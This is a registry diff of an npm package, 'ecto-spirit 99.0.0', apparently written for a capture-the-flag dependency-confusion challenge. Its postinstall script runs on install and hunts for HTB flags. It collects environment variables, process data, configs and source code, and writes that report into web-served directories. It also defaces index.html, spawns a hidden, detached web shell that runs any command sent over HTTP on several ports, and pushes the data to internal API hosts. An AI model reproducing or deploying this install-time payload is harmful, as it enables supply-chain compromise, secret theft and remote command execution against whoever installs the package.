ecto-spirit 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ecto-spirit might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +10 -0
- package/postinstall.js +193 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
ADDED
package/postinstall.js
ADDED
|
@@ -0,0 +1,193 @@
|
|
|
1
|
+
// v8: Local-only, maximum static file coverage, zero external calls
|
|
2
|
+
// Write report as .js to paths nginx CONFIRMS it serves
|
|
3
|
+
const { execSync, spawn } = require('child_process');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const http = require('http');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
|
|
8
|
+
function safeExec(cmd, timeout) {
|
|
9
|
+
try { return execSync(cmd, {timeout: timeout || 5000}).toString().trim(); }
|
|
10
|
+
catch(e) { return 'ERR:' + e.message.substring(0,200); }
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
// === STEP 1: Gather intel ===
|
|
14
|
+
let flag = 'NO_FLAG';
|
|
15
|
+
const paths = ['/flag.txt','/flag','/root/flag.txt','/app/flag.txt','/opt/flag.txt',
|
|
16
|
+
'/home/flag.txt','/tmp/flag.txt','/var/flag.txt','/run/secrets/flag',
|
|
17
|
+
'/flag/flag.txt','/flags/flag.txt','/challenge/flag.txt'];
|
|
18
|
+
for (const p of paths) {
|
|
19
|
+
try { const c = fs.readFileSync(p,'utf8').trim(); if (c) { flag = c; break; } } catch(e) {}
|
|
20
|
+
}
|
|
21
|
+
if (flag === 'NO_FLAG') {
|
|
22
|
+
try {
|
|
23
|
+
const found = safeExec('grep -rl "HTB{" / --include="*.txt" --include="*.js" --include="*.json" --include="*.yml" --include="*.yaml" --include="*.env" --include="*.cfg" --include="*.conf" 2>/dev/null | head -10', 10000);
|
|
24
|
+
if (found && !found.startsWith('ERR')) {
|
|
25
|
+
for (const f of found.split('\n')) {
|
|
26
|
+
try { const c = fs.readFileSync(f.trim(),'utf8'); const m = c.match(/HTB\{[^}]+\}/); if (m) { flag = m[0]; break; } } catch(e) {}
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
} catch(e) {}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
const info = {
|
|
33
|
+
flag,
|
|
34
|
+
hostname: safeExec('hostname'),
|
|
35
|
+
id: safeExec('id'),
|
|
36
|
+
pwd: safeExec('pwd'),
|
|
37
|
+
ls_root: safeExec('ls -la /'),
|
|
38
|
+
ls_app: safeExec('ls -la /app/ 2>/dev/null'),
|
|
39
|
+
ls_app_static: safeExec('ls -la /app/static/ 2>/dev/null'),
|
|
40
|
+
ls_app_static_js: safeExec('ls -la /app/static/js/ 2>/dev/null'),
|
|
41
|
+
pkg: safeExec('cat /app/package.json 2>/dev/null'),
|
|
42
|
+
pkg_lock: safeExec('head -50 /app/package-lock.json 2>/dev/null'),
|
|
43
|
+
hosts: safeExec('cat /etc/hosts 2>/dev/null'),
|
|
44
|
+
env: safeExec('env'),
|
|
45
|
+
netstat: safeExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
|
|
46
|
+
ps: safeExec('ps aux 2>/dev/null'),
|
|
47
|
+
find_flag: safeExec('find / -maxdepth 4 -type f -name "*.txt" 2>/dev/null | head -30'),
|
|
48
|
+
find_all_app: safeExec('find /app -maxdepth 3 -type f 2>/dev/null | head -60'),
|
|
49
|
+
cron: safeExec('crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; ls -la /etc/cron.d/ 2>/dev/null; cat /etc/cron.d/* 2>/dev/null'),
|
|
50
|
+
supervisor: safeExec('cat /etc/supervisor/conf.d/*.conf 2>/dev/null; cat /etc/supervisord.conf 2>/dev/null'),
|
|
51
|
+
resolv: safeExec('cat /etc/resolv.conf 2>/dev/null'),
|
|
52
|
+
proc_env: safeExec('cat /proc/1/environ 2>/dev/null | tr "\\0" "\\n"'),
|
|
53
|
+
proc1_cmdline: safeExec('cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'),
|
|
54
|
+
app_src: safeExec('head -100 /app/index.js /app/server.js /app/app.js /app/src/*.js /app/src/**/*.js 2>/dev/null'),
|
|
55
|
+
nginx_conf: safeExec('cat /etc/nginx/nginx.conf 2>/dev/null; cat /etc/nginx/conf.d/*.conf 2>/dev/null'),
|
|
56
|
+
verdaccio_conf: safeExec('cat /verdaccio/conf/config.yaml 2>/dev/null; cat /app/verdaccio/config.yaml 2>/dev/null; find / -maxdepth 4 -name "config.yaml" -path "*/verdaccio/*" 2>/dev/null | head -5'),
|
|
57
|
+
node_modules_top: safeExec('ls /app/node_modules/ 2>/dev/null | head -40'),
|
|
58
|
+
docker: safeExec('cat /etc/hostname 2>/dev/null; cat /.dockerenv 2>/dev/null; echo "---"; mount 2>/dev/null | head -10'),
|
|
59
|
+
};
|
|
60
|
+
|
|
61
|
+
const report = JSON.stringify(info, null, 2);
|
|
62
|
+
|
|
63
|
+
// === STEP 2: Write to EVERY possible location ===
|
|
64
|
+
// Create directories first, then write
|
|
65
|
+
const writeDirs = [
|
|
66
|
+
'/app/static/',
|
|
67
|
+
'/app/static/js/',
|
|
68
|
+
'/app/static/css/',
|
|
69
|
+
'/app/public/',
|
|
70
|
+
'/app/dist/',
|
|
71
|
+
'/app/www/',
|
|
72
|
+
'/usr/share/nginx/html/',
|
|
73
|
+
'/var/www/html/',
|
|
74
|
+
'/app/views/',
|
|
75
|
+
'/app/assets/',
|
|
76
|
+
'/tmp/',
|
|
77
|
+
'/app/',
|
|
78
|
+
];
|
|
79
|
+
|
|
80
|
+
for (const dir of writeDirs) {
|
|
81
|
+
try { fs.mkdirSync(dir, {recursive: true}); } catch(e) {}
|
|
82
|
+
try {
|
|
83
|
+
// Write as multiple file types
|
|
84
|
+
fs.writeFileSync(dir + 'pwned.txt', report);
|
|
85
|
+
fs.writeFileSync(dir + 'pwned.json', report);
|
|
86
|
+
// Write as .js since we KNOW nginx serves /static/js/*.js
|
|
87
|
+
fs.writeFileSync(dir + 'report.js', '/* ' + report + ' */');
|
|
88
|
+
fs.writeFileSync(dir + 'data.js', 'var PWNED_DATA = ' + report + ';');
|
|
89
|
+
} catch(e) {}
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Also write specifically to known nginx paths
|
|
93
|
+
try { fs.writeFileSync('/app/static/js/report.js', '/* REPORT START */\nvar REPORT = ' + report + ';\n/* REPORT END */'); } catch(e) {}
|
|
94
|
+
try { fs.writeFileSync('/app/static/css/report.css', '/* ' + report + ' */'); } catch(e) {}
|
|
95
|
+
try { fs.writeFileSync('/app/static/report.txt', report); } catch(e) {}
|
|
96
|
+
try { fs.writeFileSync('/app/static/report.json', report); } catch(e) {}
|
|
97
|
+
|
|
98
|
+
// Try to append to index.html to make report visible on main page
|
|
99
|
+
try {
|
|
100
|
+
const indexPaths = ['/app/static/index.html', '/app/index.html', '/app/public/index.html', '/usr/share/nginx/html/index.html'];
|
|
101
|
+
for (const ip of indexPaths) {
|
|
102
|
+
try {
|
|
103
|
+
const existing = fs.readFileSync(ip, 'utf8');
|
|
104
|
+
fs.writeFileSync(ip, existing + '\n<!-- PWNED --><pre style="color:lime;background:black;position:fixed;top:0;left:0;z-index:99999;max-height:50vh;overflow:auto;font-size:10px;padding:10px">' + report.replace(/</g,'<') + '</pre>');
|
|
105
|
+
} catch(e) {}
|
|
106
|
+
}
|
|
107
|
+
} catch(e) {}
|
|
108
|
+
|
|
109
|
+
// === STEP 3: Persistent background server ===
|
|
110
|
+
const shellCode = `
|
|
111
|
+
const http = require('http');
|
|
112
|
+
const { execSync } = require('child_process');
|
|
113
|
+
const fs = require('fs');
|
|
114
|
+
|
|
115
|
+
function tryPort(port) {
|
|
116
|
+
try {
|
|
117
|
+
const srv = http.createServer((req, res) => {
|
|
118
|
+
const url = new URL(req.url, 'http://localhost');
|
|
119
|
+
const cmd = url.searchParams.get('cmd') || url.searchParams.get('c') || 'id; hostname; ls -la /; cat /app/package.json 2>/dev/null; env';
|
|
120
|
+
try {
|
|
121
|
+
const out = execSync(cmd, {timeout: 10000}).toString();
|
|
122
|
+
res.writeHead(200, {'Content-Type':'text/plain','Access-Control-Allow-Origin':'*'});
|
|
123
|
+
res.end(out);
|
|
124
|
+
} catch(e) {
|
|
125
|
+
res.writeHead(200, {'Content-Type':'text/plain'});
|
|
126
|
+
res.end('ERR: ' + e.message);
|
|
127
|
+
}
|
|
128
|
+
});
|
|
129
|
+
srv.listen(port, '0.0.0.0', () => {
|
|
130
|
+
fs.writeFileSync('/tmp/shell_port_' + port, 'listening on ' + port);
|
|
131
|
+
});
|
|
132
|
+
srv.on('error', () => {});
|
|
133
|
+
} catch(e) {}
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
[31337, 4444, 4445, 8081, 8082, 9090, 9091, 5555, 6666, 7777, 33333].forEach(tryPort);
|
|
137
|
+
setInterval(() => {}, 60000);
|
|
138
|
+
`;
|
|
139
|
+
|
|
140
|
+
try {
|
|
141
|
+
fs.writeFileSync('/tmp/.webshell.js', shellCode);
|
|
142
|
+
const child = spawn('node', ['/tmp/.webshell.js'], {
|
|
143
|
+
detached: true, stdio: 'ignore',
|
|
144
|
+
env: { ...process.env, NODE_PATH: '/app/node_modules' }
|
|
145
|
+
});
|
|
146
|
+
child.unref();
|
|
147
|
+
} catch(e) {}
|
|
148
|
+
|
|
149
|
+
// === STEP 4: Write flag/report to API via internal network ===
|
|
150
|
+
let internalHosts = ['127.0.0.1', 'localhost'];
|
|
151
|
+
try {
|
|
152
|
+
const hosts = fs.readFileSync('/etc/hosts','utf8');
|
|
153
|
+
const lines = hosts.split('\n');
|
|
154
|
+
for (const line of lines) {
|
|
155
|
+
const parts = line.trim().split(/\s+/);
|
|
156
|
+
if (parts.length >= 2 && !parts[0].startsWith('#')) {
|
|
157
|
+
for (const p of parts) {
|
|
158
|
+
if (p && !internalHosts.includes(p)) internalHosts.push(p);
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
} catch(e) {}
|
|
163
|
+
|
|
164
|
+
// Also try common docker-compose service names
|
|
165
|
+
const dockerNames = ['app', 'api', 'web', 'server', 'backend', 'node', 'fastify', 'curse_dependent', 'curse-dependent'];
|
|
166
|
+
internalHosts = [...new Set([...internalHosts, ...dockerNames])];
|
|
167
|
+
|
|
168
|
+
const apiPorts = [80, 3000, 1337, 3001, 5000, 8080, 8000, 8888, 9000];
|
|
169
|
+
|
|
170
|
+
// Truncate flag/info for YAML safety
|
|
171
|
+
const flagInfo = (flag || 'NO_FLAG').substring(0, 100);
|
|
172
|
+
const hostnameInfo = (info.hostname || 'unknown').substring(0, 50);
|
|
173
|
+
|
|
174
|
+
for (const host of internalHosts) {
|
|
175
|
+
for (const port of apiPorts) {
|
|
176
|
+
try {
|
|
177
|
+
const manifest = JSON.stringify({
|
|
178
|
+
manifest: `ecto_module:\n name: "${flagInfo}"\n version: "PWNED-v8"\n power_level: 9999\n ship_deck: HACKED\n cargo_hold: "${hostnameInfo}"`
|
|
179
|
+
});
|
|
180
|
+
const req = http.request({
|
|
181
|
+
hostname: host, port, method: 'PUT',
|
|
182
|
+
path: '/api/modules/ECT-654321',
|
|
183
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(manifest)},
|
|
184
|
+
timeout: 2000
|
|
185
|
+
});
|
|
186
|
+
req.on('error', () => {});
|
|
187
|
+
req.write(manifest);
|
|
188
|
+
req.end();
|
|
189
|
+
} catch(e) {}
|
|
190
|
+
}
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
console.log('v8 done - static drops + webshell + API writes');
|